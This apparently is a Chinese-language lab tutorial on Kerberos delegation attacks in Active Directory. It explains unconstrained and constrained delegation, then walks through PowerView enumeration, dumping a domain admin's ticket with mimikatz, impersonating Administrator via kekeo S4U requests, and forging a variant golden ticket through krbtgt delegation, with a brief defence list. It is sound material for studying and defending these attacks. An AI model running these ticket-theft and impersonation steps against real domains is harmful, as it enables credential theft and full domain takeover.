Kerberos之域内委派攻击
什么是委派
如果在一个域中,A
使用Kerberos
身份验证访问服务B
,B
再使用A
的身份去访问C
,这个过程就可以理解为委派,委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,只有当A
有权限访问C
的时候才能委派成功,因为B
使用的是A
的身份去访问C
非约束委派
非约束委派在Kerberos
中实现时,User
会从KDC
处得到的TGT
发送给委派对象Service1
,Service1
拿到TGT
后可以通过TGT
访问域内任意其它服务,所以被称为非约束委派
实现流程图如下(图来自微软手册)
1 | 1.用户通过发送KRB_AS_REQ消息请求可转发 TGT(forwardable TGT,为了方便我们称为TGT1)。 |
非约束委派设置:
约束委派
由于非约束委派的不安全性,微软在windows2003
中发布了约束委派的功能。约束委派在Kerberos
中User
不会直接发送TGT
给服务,而是对发送给service1
的认证信息做了限制,不允许service1
代表User
使用这个TGT
去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)
和S4U2Proxy(Service for User to Proxy)
的Kerberos
协议扩展S4U2Self
和S4U2proxy
的请求过程(图来自微软手册):
1 | 1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。 |
约束委派的设置:
然后就可以添加允许委派请求的服务了
发现域中委派的计算机和用户
PowerView
Powerview
有两个版本,一个在dev
分支:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
一个在master
分支:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1dev
分支能够使用Get-DomainUser
查询域中约束委派的计算机和用户而master
分支目前我还不知道怎么查询,dev
分支查询的信息更详细一些
非约束委派
这里使用的是master
分支
查询域中所有非约束委派用户
1 | Get-NetUser -Unconstrained -Domain de1ay.com |
当然我这里没有设置,所以查询结果为空
查询域中所有非约束委派计算机
1 | Get-NetComputer -Unconstrained -Domain de1ay.com |
约束委派
这里使用的是dev
分支
查询域中所有约束委派用户
1 | Get-DomainUser –TrustedToAuth -domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl |
查找域中配置约束委派的主机:
1 | Get-DomainComputer -TrustedToAuth -Domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize |
域委派攻击
假设我们现在已经获取域内一个已经配置了委派的账户权限或是密码,现在我们通过这个条件来攻击其它账户
非约束委派攻击利用
在一个域中只有服务账号才有委派功能,使用如下命令将ghtwf01
设为服务账号
1 | setspn -U -A variant/golden ghtwf01 |
通过setspn -l ghtwf01
查看是否成功设置
然后将ghtwf01
设置为非约束委派
然后诱导域管理员登录ghtwf01
服务账号所在主机,方法很多,比如WinRM
服务远程连接或者域管理员账号登录目标主机等
这个时候域管理员的TGT
已经缓存到域成员主机了,使用mimikatz
就可以导出
使用sekurlsa::tickets /export
命令导出内存中所有的票据(需要管理员或者系统权限)
圈内文件就是Administrator
发送的TGT
这个时候访问域控目录是权限不够的
利用kerberos::ptt
将Administrator
的TGT
导入,这个时候就能成功访问域控目录了
一句话总结非约束委派攻击,其实就是诱导某用户访问这台主机这个服务账号得到它的TGT
,就能利用它的身份去访问所有服务了,这里举的例子就是诱导域管理员访问,得到域管理员的TGT
从而拥有域管理员权限
约束委派攻击利用
将ghtwf01
账户设置为约束委派
使用powerview
验证一下是否成功设置,查询一下约束委派用户
已知ghtwf01
账户密码就可以直接使用kekeo
向域控发起申请TGT
的请求
1 | tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi |
然后利用得到的TGT
去TGS
申请ST
票据
1 | tgs::s4u /tgt:TGT_ghtwf01@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi /user:Administrator@de1ay.com /service:cifs/DC.de1ay.com |
现在这个账户是没有权限的
将ST
票据导入,成功访问域控(cifs服务)
利用约束委派打造变种黄金票据
拿下域控后可以通过抓取krbtgt
的hash
来构造黄金票据,通过约束委派也能达到同样的效果,也算是一种操作思路
在域控管理界面中无法添加访问krbtgt
,但是可以利用ActiveDirectory
在powershell
中添加
1 | Import-Module ActiveDirectory |
这个时候发现成功添加
既然可以访问krbtgt
了,那么也就可以获取任意用户的TGT
了
先使用kekeo
获取ghtwf01
的用户的TGT
,和上面一样
1 | tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi |
然后通过ghtwf01
的TGT
向krbtgt
获取Administrator
的TGT
1 | tgs::s4u /tgt:TGT_ghtwf01@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi /user:Administrator@de1ay.com /service:krbtgt/de1ay.com |
然后将得到的票据通过kerberos::ptt
导入就能以域管理员身份访问域控
通过Enter-PSSession
或者psexec
或者wmiexec
都可以拿shell
执行命令
防御方法
1.高权限用户设置不能被委派
2.使用受保护的用户组Protected Users
(windows server 2012以上才有)
参考链接
https://xz.aliyun.com/t/2931
https://paper.seebug.org/620/
https://xz.aliyun.com/t/7217
https://www.anquanke.com/post/id/173477